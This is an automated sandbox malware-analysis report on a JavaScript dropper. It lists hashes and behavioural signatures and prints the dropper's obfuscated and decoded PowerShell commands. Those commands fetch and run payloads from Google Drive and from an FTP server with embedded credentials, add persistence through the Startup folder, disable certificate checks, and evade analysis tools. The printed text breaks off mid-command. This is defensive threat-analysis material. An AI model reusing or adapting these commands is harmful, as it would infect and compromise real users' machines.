Resubmissions
27-11-2024 14:01
241127-rb255aspdr 1027-11-2024 14:01
241127-rbjzjsspcj 127-11-2024 13:58
241127-raadqawmcy 10Analysis
-
max time kernel
225s -
max time network
226s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
27-11-2024 14:01
Static task
static1
Behavioral task
behavioral1
Sample
$RDOOKRE.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
$RDOOKRE.js
Resource
win10v2004-20241007-en
Errors
General
-
Target
$RDOOKRE.js
-
Size
199KB
-
MD5
0dc3ee0972ecfb9e62b68dccc42a73bf
-
SHA1
7f882e78a7909c006b34e4a8fd916bf8ef839a64
-
SHA256
4e0681a5ca00bde3ae2ab6d71b6f9d22aa579274768ae594848e7a6aa279fce6
-
SHA512
dcaf3a3ab69c4c8e9d39e65b514e4cc70a289af94c21a3e673f5a68ca6e3559218ca91f528f3023a2c243b3093d6f504e741b0c4ac72c99fbed4bc0c844e8831
-
SSDEEP
3072:AW1tKbWXt+NWXt+NWXt+NWXt+NWXt+NWXt+YWXt+NWXt+NWXt+NWXt+NWXt+NWXC:p
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2776 powershell.exe 7 2776 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$RDOOKRE.js powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$RDOOKRE.js powershell.exe -
pid Process 2444 powershell.exe 2776 powershell.exe 3008 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 5 drive.google.com 4 drive.google.com -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File opened for modification C:\Windows\Logs\DPX\setupact.log wusa.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log wusa.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2444 powershell.exe 2776 powershell.exe 2156 powershell.exe 3008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2156 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeShutdownPrivilege 1696 shutdown.exe Token: SeRemoteShutdownPrivilege 1696 shutdown.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1300 wrote to memory of 2444 1300 wscript.exe 30 PID 1300 wrote to memory of 2444 1300 wscript.exe 30 PID 1300 wrote to memory of 2444 1300 wscript.exe 30 PID 2444 wrote to memory of 2776 2444 powershell.exe 32 PID 2444 wrote to memory of 2776 2444 powershell.exe 32 PID 2444 wrote to memory of 2776 2444 powershell.exe 32 PID 2776 wrote to memory of 2156 2776 powershell.exe 34 PID 2776 wrote to memory of 2156 2776 powershell.exe 34 PID 2776 wrote to memory of 2156 2776 powershell.exe 34 PID 2156 wrote to memory of 2980 2156 powershell.exe 35 PID 2156 wrote to memory of 2980 2156 powershell.exe 35 PID 2156 wrote to memory of 2980 2156 powershell.exe 35 PID 2776 wrote to memory of 3008 2776 powershell.exe 36 PID 2776 wrote to memory of 3008 2776 powershell.exe 36 PID 2776 wrote to memory of 3008 2776 powershell.exe 36 PID 2776 wrote to memory of 1696 2776 powershell.exe 37 PID 2776 wrote to memory of 1696 2776 powershell.exe 37 PID 2776 wrote to memory of 1696 2776 powershell.exe 37
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js1⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AGgAbQ' + [char]66 + 'DAG0AIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + 'oAG0AQw' + [char]66 + 'tACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + '5AHcAZg' + [char]66 + 'qAHMAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAdg' + [char]66 + 'KAEEAdg' + [char]66 + 'UACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + 'KAEEAdg' + [char]66 + 'UACAAKQAgAHsAJA' + [char]66 + '5AHcAZg' + [char]66 + 'qAHMAIAA9ACAAKAAkAHkAdw' + [char]66 + 'mAGoAcwAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAHkAdw' + [char]66 + 'mAGoAcwAgAD0AIAAoACQAeQ' + [char]66 + '3AGYAag' + [char]66 + 'zACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'tAG0Abg' + [char]66 + '5AGoAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'tAG0Abg' + [char]66 + '5AGoALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'tAG0Abg' + [char]66 + '5AGoALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAeQ' + [char]66 + '3AGYAag' + [char]66 + 'zACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAFgASg' + [char]66 + 'rAFkAdwAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAWA' + [char]66 + 'KAGsAWQ' + [char]66 + '3ACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAeA' + [char]66 + '2AGcAYg' + [char]66 + '4ACAAPQAgACgAJw' + [char]66 + 'mAHQAcAA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0ADEAQA' + [char]66 + 'mAHQAcAAuAGQAZQ' + [char]66 + 'zAGMAaw' + [char]66 + '2AGIAcg' + [char]66 + 'hAHQALg' + [char]66 + 'jAG8AbQAuAGIAcgAvAFUAcA' + [char]66 + 'jAHIAeQ' + [char]66 + 'wAHQAZQ' + [char]66 + 'yACcAIAArACAAJwAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'vAG8ARA' + [char]66 + 'TAEkAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADEALg' + [char]66 + '0AHgAdAAnACkAOwAkAEwAUQ' + [char]66 + 'RAEEAQgAgAD0AIAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAgADsAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAIAA9ACAAKAAtAGoAbw' + [char]66 + 'pAG4AIA' + [char]66 + 'bAGMAaA' + [char]66 + 'hAHIAWw' + [char]66 + 'dAF0AKAAxADAAMgAsACAAOAA5ACwAIAAxADEANwAsACAAMQAwADAALAAgADgAOQAsACAANAA5ACwAIAA1ADMALAAgADUANQAsACAANQA2ACwAIAA2ADQALAAgADYANAAsACAANgA0ACwAIAA2ADQALAAgADYANAAsACAANgA0ACAAKQApACAAOwAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAPQAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAIAA7ACQAdw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAkAEwAUQ' + [char]66 + 'RAEEAQgAsACAAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAKQAgADsAJA' + [char]66 + 'SAFYAVQ' + [char]66 + 'YAHYAIAA9ACAAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + '4AHYAZw' + [char]66 + 'iAHgAIAApACAAOwAkAFIAVg' + [char]66 + 'VAFgAdgAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAbw' + [char]66 + 'vAEQAUw' + [char]66 + 'JACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAFMAVA' + [char]66 + 'mAEcAbAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'vAG8ARA' + [char]66 + 'TAEkAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgAnACAAKwAgACcAOg' + [char]66 + 'DAHUAcg' + [char]66 + 'yAGUAbg' + [char]66 + '0AEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAC4ATA' + [char]66 + 'vAGEAZAAoACAAJA' + [char]66 + 'GAHkAZg' + [char]66 + 'kAHoAIAApAC4AJwAgADsAJA' + [char]66 + 'NAE8ARA' + [char]66 + 'SAGcAIAArAD0AIAAnAEcAZQ' + [char]66 + '0AFQAeQ' + [char]66 + 'wAGUAKAAgACcAJw' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMATA' + [char]66 + 'pAGIAcg' + [char]66 + 'hAHIAeQAzAC4AQw' + [char]66 + 'sAGEAcw' + [char]66 + 'zADEAJwAnACAAKQAuAEcAZQ' + [char]66 + '0AE0AJwAgADsAJA' + [char]66 + 'NAE8ARA' + [char]66 + 'SAGcAIAArAD0AIAAnAGUAdA' + [char]66 + 'oAG8AZAAoACAAJwAnAHAAcg' + [char]66 + 'GAFYASQAnACcAIAApAC4ASQ' + [char]66 + 'uAHYAbw' + [char]66 + 'rAGUAKAAgACQAbg' + [char]66 + '1AGwAbAAgACwAIA' + [char]66 + 'bAG8AYg' + [char]66 + 'qAGUAYw' + [char]66 + '0AFsAXQ' + [char]66 + 'dACAAKAAgACcAJw' + [char]66 + 'IAHAAdQA0ADcAUwAxAHIALw' + [char]66 + '3AGEAcgAvAG0Abw' + [char]66 + 'jAC4Abg' + [char]66 + 'pAGIAZQ' + [char]66 + '0AHMAYQ' + [char]66 + 'wAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACcAIAAsACAAJwAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAnACAALAAgACAAJwAnAEQAIA' + [char]66 + 'EAEQAUg' + [char]66 + 'lAGcAQQ' + [char]66 + 'zAG0AJwAnACAAIAApACAAKQA7ACcAOwAkAFYAQg' + [char]66 + 'XAFcAegAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMwAuAHAAcwAxACcAKQAgADsAJA' + [char]66 + 'NAE8ARA' + [char]66 + 'SAGcAIA' + [char]66 + '8ACAATw' + [char]66 + '1AHQALQ' + [char]66 + 'GAGkAbA' + [char]66 + 'lACAALQ' + [char]66 + 'GAGkAbA' + [char]66 + 'lAFAAYQ' + [char]66 + '0AGgAIAAkAFYAQg' + [char]66 + 'XAFcAegAgACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwAIAAtAEUAeA' + [char]66 + 'lAGMAdQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAFAAbw' + [char]66 + 'sAGkAYw' + [char]66 + '5ACAAQg' + [char]66 + '5AHAAYQ' + [char]66 + 'zAHMAIAAtAEYAaQ' + [char]66 + 'sAGUAIAAkAFYAQg' + [char]66 + 'XAFcAegAgADsAfQA7AA==';$jPhaA = $jPhaA.replace('革','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js') ;powershell $jPhaA2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vhmCm = $host.Version.Major.Equals(2);If ( $vhmCm ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$ywfjs = 'https://drive.google.com/uc?export=download&id=';$vJAvT = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $vJAvT ) {$ywfjs = ($ywfjs + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$ywfjs = ($ywfjs + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$mmnyj = ( New-Object Net.WebClient ) ;$mmnyj.Encoding = [System.Text.Encoding]::UTF8 ;$mmnyj.DownloadFile($ywfjs, ($HzOMj + '\Upwin.msu') ) ;$XJkYw = ( 'C:\Users\' + [Environment]::UserName );JCCGX = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js' -Destination ( $XJkYw + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$xvgbx = ('ftp://[email protected]/Upcrypter' + '/02/DLL01.txt' );$ooDSI = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$LQQAB = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($LQQAB, $lllGq) ;$RVUXv = $webClient.DownloadString( $xvgbx ) ;$RVUXv | Out-File -FilePath $ooDSI -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient 